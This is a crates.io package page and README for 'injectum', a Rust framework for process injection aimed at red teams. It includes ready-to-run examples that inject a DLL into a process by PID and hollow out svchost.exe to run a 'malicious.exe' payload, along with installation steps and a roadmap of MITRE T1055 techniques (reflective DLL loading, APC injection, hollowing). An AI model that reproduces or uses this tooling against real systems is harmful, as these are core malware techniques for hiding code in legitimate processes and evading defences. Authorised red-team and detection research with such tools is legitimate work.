| Crates.io | injectum |
| lib.rs | injectum |
| version | 0.2.4 |
| created_at | 2025-11-28 02:33:06.974331+00 |
| updated_at | 2025-12-05 00:24:02.315337+00 |
| description | The modern, type-safe process injection framework for Red Teams and Offensive Security in Rust. |
| homepage | |
| repository | https://github.com/0x536b796ec3b578/injectum |
| max_upload_size | |
| id | 1954714 |
| size | 223,469 |
The modern, type-safe process injection framework for Red Teams and Offensive Security in Rust.
Architecture • How It Works • Installation • Build • Roadmap • Contributing
Injectum is a modular, type-safe Rust library for process injection in Rust. It abstracts away the headache of platform-specific implementations so you can focus on the strategy.
Think of it as the "Lego set" for offensive tradecraft: it provides a structured interface for executing various injection strategies (mapped to MITRE ATT&CK T1055 techniques) while handling memory allocation, permission juggling, and thread creation safely.
Why Injectum?
The library is built around a unidirectional data flow: Builder $\to$ Configuration $\to$ Factory $\to$ Execution.
The primary entry point is the InjectorBuilder. It provides a fluent interface to construct an immutable injection configuration, ensuring all components (Strategy, Payload, Target) are valid before execution.
InjectorBuilder::new() starts the chain.build() method enforces the presence of a strategy and payload..execute().Payloads are strongly typed via the Payload enum to prevent misuse.
Shellcode, DllFile, Executable, Script, and generic Blob.PayloadMetadata for OpSec tracking (origin, description) and safety checks (e.g., safe_sample flag).The Target enum abstracts the destination context.
Target::Pid(u32)).Target::Spawn(PathBuf)).Target::CurrentProcess).Strategies are instantiated at runtime based on the StrategyType.
feature = "T1055_001") to minimize binary size.Factory matches the requested technique to its concrete implementation.The Injector serves as the stateless runner.
Result<(), Error> for granular error handling.Each technique has a more complete example associated with it in the examples/ folder of the repository.
This example targets an existing process ID.
use injectum::{
InjectorBuilder, Payload, PayloadMetadata, Target, Technique,
method::DynamicLinkLibrary
};
use std::path::PathBuf;
fn main() -> injectum::Result<()> {
// 1. Define the payload
let payload = Payload::DllFile {
file_path: Some(PathBuf::from("C:\\temp\\payload.dll")),
image_bytes: None,
metadata: PayloadMetadata::default(),
};
// 2. Configure the technique
let technique = Technique::T1055_001(DynamicLinkLibrary::Classic);
// 3. Build and Execute targeting a PID
InjectorBuilder::new()
.target(Target::Pid(1234))
.payload(payload)
.technique(technique)
.execute()?;
Ok(())
}
This example spawns a new process and replaces its memory.
use injectum::{
InjectorBuilder, Payload, PayloadMetadata, Target, Technique,
method::ProcessHollowing
};
use std::path::PathBuf;
fn main() -> injectum::Result<()> {
// 1. Load payload (Auto-detects format)
let payload = Payload::from_file(
"C:\\temp\\malicious.exe",
PayloadMetadata::default()
)?;
// 2. Configure the technique (Standard Hollowing)
let technique = Technique::T1055_012(ProcessHollowing::Standard);
// 3. Build and Execute targeting a new process
InjectorBuilder::new()
.target(Target::Spawn(PathBuf::from("C:\\Windows\\System32\\svchost.exe")))
.payload(payload)
.technique(technique)
.execute()?;
Ok(())
}
Run the following Cargo command in your project directory:
cargo add injectum
Or add the following line to your Cargo.toml:
injectum = "0.2.4"
Before building, please check the configuration file:
.cargo/config.toml.linker = "lld-link" line.linker = "lld-link" is uncommented.Requires the MSVC toolchain (Visual Studio Build Tools).
cargo build --release
This library relies on the proprietary MSVC runtime libraries. The easiest way to compile from Linux is using cargo-xwin.
cargo-xwin:cargo install cargo-xwin
cargo xwin build --example T1055_001_DLL_Injection --features "tracing,T1055_001" --release
Injectum aims to provide a modular, feature‑gated implementation of the full set of process‑injection techniques referenced in the MITRE ATT&CK framework.
| ID | Technique Name | Implemented Methods |
|---|---|---|
| T1055.001 | Dynamic-link Library Injection | Classic, Reflective, MemoryModule, ModuleStomping |
| T1055.002 | Portable Executable Injection | ManualMapping |
| T1055.003 | Thread Execution Hijacking | [ThreadHijacking] |
| T1055.004 | Asynchronous Procedure Call | Sniper, Spray, EarlyBird |
| T1055.005 | Thread Local Storage | [ ] |
| T1055.008 | Ptrace System Calls | [ ] |
| T1055.009 | Proc Memory | [ ] |
| T1055.011 | Extra Window Memory Injection | [ ] |
| T1055.012 | Process Hollowing | Standard, EntryPointStomping |
| T1055.013 | Process Doppelgänging | [ ] |
| T1055.014 | VDSO Hijacking | [ ] |
| T1055.015 | ListPlanting | [ ] |
Contributions are welcome!
Ensure your code is properly formatted:
cargo fmt
cargo clippy
Author: Skynõx
If you'd like to support the project, you can donate via the following addresses:
| Bitcoin | bc1q87r2z8szxwqt538edzw5gl397c9v3hzxwjw82h |
|---|---|
| Ethereum | 0xe277049067F72E89326c2C0D11333531d5BbB78B |